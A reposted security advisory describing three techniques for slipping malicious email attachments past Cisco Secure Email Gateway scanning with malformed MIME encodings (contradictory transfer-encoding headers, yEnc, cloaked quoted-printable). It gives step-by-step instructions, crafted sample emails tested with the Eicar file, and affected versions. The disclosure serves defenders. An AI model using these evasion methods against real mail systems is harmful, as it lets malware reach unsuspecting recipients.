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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022110021

Below is a copy:

Cisco Secure Email Gateway Malware Detection Evasion
This report is being published within a coordinated disclosure
procedure.  The researcher has been in contact with the vendor
but not received a satisfactory response within a given time
frame.  As the attack complexity is low and exploits have already
been published by a third party there must be no further delay
in making the threads publicly known.

The researcher prefers not to take credit for their findings.


Evading Malware Detection by Cisco Secure Email Gateways
========================================================

Cisco Secure Email Gateways, formerly known as Cisco Ironport
Email Security Appliances, that are configured to detect
malicious email attachments, can easily be circumvented.
A remote attacker can leverage error tolerance and different
MIME decoding capabilities of email clients, compared with the
gateway, to evade detection of malicious payloads by anti-virus
components on the gateway.

Method 1: Cloaked Base 64
-------------------------

Step-by-step instruction:

1. Prepare an email with the malicious attachment with a
   commonplace email client or employing standard MIME encoding,
   using content-transfer-encoding base64.

2. Insert CR+LF line breaks at random places in the base64
   encoded block so that the lines have different lengths,
   but in a way that groups of four base64 characters (encoding
   three bytes) stay together.  This is intended to evade nave
   heuristics to detect base64 even out of context, while not
   violating the MIME standard.

3. Before the content-transfer-encoding header of the attachment,
   insert another contradictory header "Content-Transfer-Encoding:
   quoted-printable".  This does violate the MIME standard.

4. Remove any content-length headers of the message, if present.

A complete email prepared in this way may look like this:

----------------------- begin example -----------------------
From: Mallory <[email protected]>
To: Alice <[email protected]>
Date: Mon, 27 Jun 2022 18:29:22 +0200
Subject: Your present
Mime-Version: 1.0
Message-Id: <[email protected]>
Content-type: multipart/mixed; boundary=boundary_ef5dcd26

--boundary_ef5dcd26
Content-type: text/plain
Content-Transfer-Encoding: quoted-printable

Here is your present.
--boundary_ef5dcd26
Content-type: application/octet-stream
Content-Disposition: attachment; filename="present.zip"
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: base64

UEsD
BAoAAAAAAN2Q
21Q8z1FoRAAAAEQAAAAJABwAZWlj
YXIuY29tVVQJAAOh
[... more similar lines skipped ...]
CwAB
BPgDAAAE6QMAAFBLBQYAAAAAAQABAE8A
AACHAAAAAAA=
--boundary_ef5dcd26--
----------------------- end example -----------------------

Emails prepared in this fashion will pass through affected
gateways with a verdict of being clean from malware, even if
the attachment is otherwise easily recognizable malware such as
the Eicar test virus.  Many popular email clients, on the other
hand, will present the attached file and faithfully reproduce
it upon saving.

Affected systems:

This exploit was successfully tested with a zip file containing
the Eicar test virus and Cisco Secure Email Gateways with AsyncOS
14.2.0-620, 14.0.0-698, and others. Affected Email Clients were
Microsoft Outlook for Microsoft 365 MSO (Version 2210 Build
16.0.15726.20070) 64-bit, Mozilla Thunderbird 91.11.0 (64-bit),
Vivaldi 5.5.2805.42 (64-bit), Mutt 2.1.4-1ubuntu1.1, and others.

Method 2: yEnc Encoding
-----------------------

yEncode or short yEnc is an encoding typically employed by
usenet clients.  Some email clients are capable of decoding MIME
parts with this encoding, too.  A remote attacker using this
encoding for a malicious email attachment will evade malware
detection by affected gateways but may succeed in delivering
the payload to victims if they use particular email clients.
Other email clients will store the attachment in an undecoded
and thus not directly harmful form.

An email prepared in this way may look like this:

----------------------- begin example -----------------------
From: Mallory <[email protected]>
To: Alice <[email protected]>
Date: Mon, 27 Jun 2022 18:29:22 +0200
Subject: Your present
Mime-Version: 1.0
Message-Id: <[email protected]>
Content-type: multipart/mixed; boundary=boundary_ef5dcd26

--boundary_ef5dcd26
Content-type: text/plain
Content-Transfer-Encoding: quoted-printable

Here is your present.
--boundary_ef5dcd26
Content-type: application/octet-stream
Content-Disposition: attachment; filename="present.zip"
Content-Transfer-Encoding: x-yencode

=ybegin line=128 size=236 name=file.bin
[... binary content skipped ...]
=yend size=236
--boundary_ef5dcd26--
----------------------- end example -----------------------

Affected Systems:

This exploit was successfully tested with a zip file containing
the Eicar test virus and Cisco Secure Email Gateways with AsyncOS
14.2.0-620, 14.0.0-698, and others.  An affected Email Client
was Mozilla Thunderbird 91.11.0 (64-bit).

Method 3: Cloaked Quoted-Printable
----------------------------------

This method is similar to method 1 with the roles of
quoted-printable and base64 swapped.  The payload has to
be encoded quoted-printable, but with each byte rather than
just non-printable bytes encoded and on separate lines with
continuation.  The contradicting headers now come in the order
base64, quoted-printable.

An email prepared in this way may look like this:

----------------------- begin example -----------------------
From: Mallory <[email protected]>
To: Alice <[email protected]>
Date: Mon, 27 Jun 2022 18:29:22 +0200
Subject: Your present
Mime-Version: 1.0
Message-Id: <[email protected]>
Content-type: multipart/mixed; boundary=boundary_ef5dcd26

--boundary_ef5dcd26
Content-type: text/plain
Content-Transfer-Encoding: quoted-printable

Here is your present.
--boundary_ef5dcd26
Content-type: application/octet-stream
Content-Disposition: attachment; filename="present.zip"
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

=50=
=4B=
=03=
=04=
[... more similar lines skipped ...]
=00=
=00=
=00=
=00=
--boundary_ef5dcd26--
----------------------- end example -----------------------

Affected Systems:

This exploit was successfully tested with a zip file containing
the Eicar test virus and Cisco Secure Email Gateways with AsyncOS
14.2.0-620, 14.0.0-698, and others.  Affected Email Clients
were Vivaldi 5.5.2805.42 (64-bit) and Mutt 2.1.4-1ubuntu1.1.

References
----------

Code employing the methods presented here and many similar
techniques to manipulate MIME encoding can be found on GitHub:
https://github.com/noxxi/mime-is-broken

Cisco has published an advisory with a workaround
facilitating an undocumented feature of the gateway that
can be used to block incorrect MIME.  This mitigates
many cases of the test suite from GitHub, but not all,
particularly not the ones presented in this report.  URL:
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwc34679

End of the report.

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